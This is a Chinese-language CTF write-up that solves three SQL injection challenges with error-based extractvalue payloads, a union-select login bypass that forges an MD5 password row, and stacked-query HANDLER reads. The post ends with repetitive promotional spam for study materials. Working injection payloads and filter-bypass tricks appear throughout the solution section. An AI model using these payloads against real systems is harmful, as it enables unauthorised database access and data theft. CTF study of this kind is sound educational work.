又是一道SQL注入题,不过这里考察的是新的知识点:报错注入
通过看别人的题解得知该网站过滤空格、=、or
等字样,也可以自己用BP跑一遍
小知识点:
()
可代替空格
like
可代替=
- 通过
right
和left
分段查看字符串、
构造Payload:
?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23
^
:网站过滤了and
和or
,这里的^
代表异或,可以实现连接后面的SQL语句的作用
extractvalue
:原本是替换XML元素的函数,这里用来产生报错然后输出报错来源,函数期望第一个参数是一个 XML 字符串,第二个参数是一个 XPath 表达式,但在这里第一个参数是1
,第二个参数是拼接了0x7e
(即~
)和SQL执行后返回的结果的值,由于含特殊符号 ~
,会触发数据库报错,并将参数2的内容显示在报错信息中,于是我们就拿到了想要的信息
%23
:解码后是#,由于url的#有特定作用,因此无法将其直接通过url传过去,需要先进行编码
此外,类似extractvalue功能的函数还有updatexml
可以看到成功返回了数据库名
将Payload里的SQL命令select(database())
换成select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))
来输出表名
再替换成select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')
输出列名
输出flag(由于flag过长,超过32字符,因此需要分段输出):
左部分:
?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 //爆左边
右部分:
?username=admin&password=123'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23 //爆右边
根据结果拼接即可拿到完整flag
flag{e8f583a4-a5ed-49df-8bec-522092fb56d9}
[GXYCTF2019]BabySQli
打开网站是一个平平无奇的登录界面,F12后也没发现什么有用的信息,随便输入用户名和密码,返回提示wrong user! 但是在这个页面F12后发现了新的内容
这段注释内容是经过编码后得到的,将其先进行Base32解码(将可能的编码方式都试一遍)
得到:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
明显的=
后缀,再进行Base64解码
得到:select * from user where username = '$name'
说明这是一段登录验证的提示
首先测试'
name=1'&pw=1
证明存在注入点,再尝试or
name=1' or &pw=1
说明过滤了or
,尝试order
,发现也被过滤了,但是Order
没被过滤
name=1' Order by 3 %23&pw=1
返回:
这里将1换成admin即可
当列数量设为4时会报错,设为3时返回wrong pass!
,说明有3列
接下来时测试注入点
name=1' union select 'admin',2,3 %23&pw=1
提示wrong user!
换成:
name=1' union select 1,'admin',3 %23&pw=1
提示wrong pass!
换成:
name=1' union select 1,'admin',3 %23&pw=1
提示wrong pass!
说明用户名在第2列,一般来说第1列是id,第3列就是password了
根据提示的SQL命令,我们猜测网站根据select * from user where username = '$name'
查询到的用户名和密码与用户表单上传的用户名和密码(经加密)进行比对,由于网站一般使用MD5加密,所以这里我们尝试将上传的password表单值经MD5加密后写进SQL语句:
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23&pw=123
成功拿到glag
但是为了进一步理解这条Payload(我当时没太懂),我们将其和SQL语句拼接起来:
select \* from user where username = '1'
union select 1,'admin','202cb962ac59075b964b07152d234b70' #'
这里select * from user where username = '1'
找不到任何数据(没有哪个的用户名是1
),因此重点在后一条语句,select 1,'admin','202cb962ac59075b964b07152d234b70'
这条语句不会从任何一个表中查找任何实际的数据,它只会返回由1,'admin','202cb962ac59075b964b07152d234b70'
这三个值组成的新表,那么代码读到的就以为是数据库中用户名为admin
,密码为123
的数据了,经过和表单传来的123
比对肯定就能比对成功,当然密码也可以设为其他值
[GYCTF2020]Blacklist
尝试1
返回
尝试1'
报错,说明存在注入点,这里再尝试堆叠注入,输出数据库名:
1';show databases;#
输出表名:
1';show tables;#
读取FlagHere表里面的列名:
0';show columns from `FlagHere`;#
尝试1';select * from FlagHere.flag;#
,但是失败了,返回页面提示了过滤字样
为了读取flag列的内容,这里用到了新的知识点:HANDLER
最终Payload:1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
HANDLER Table_Name OPEN
打开一张表,无返回结果,获取句柄
HANDLER tbl_name READ FIRST
获取句柄的第一行
HANDLER tbl_name READ NEXT
获取句柄的下一行
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
714e29498573a58a3c79c775da.gif#pic_center)
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-EvgpLZuD-1712871036881)]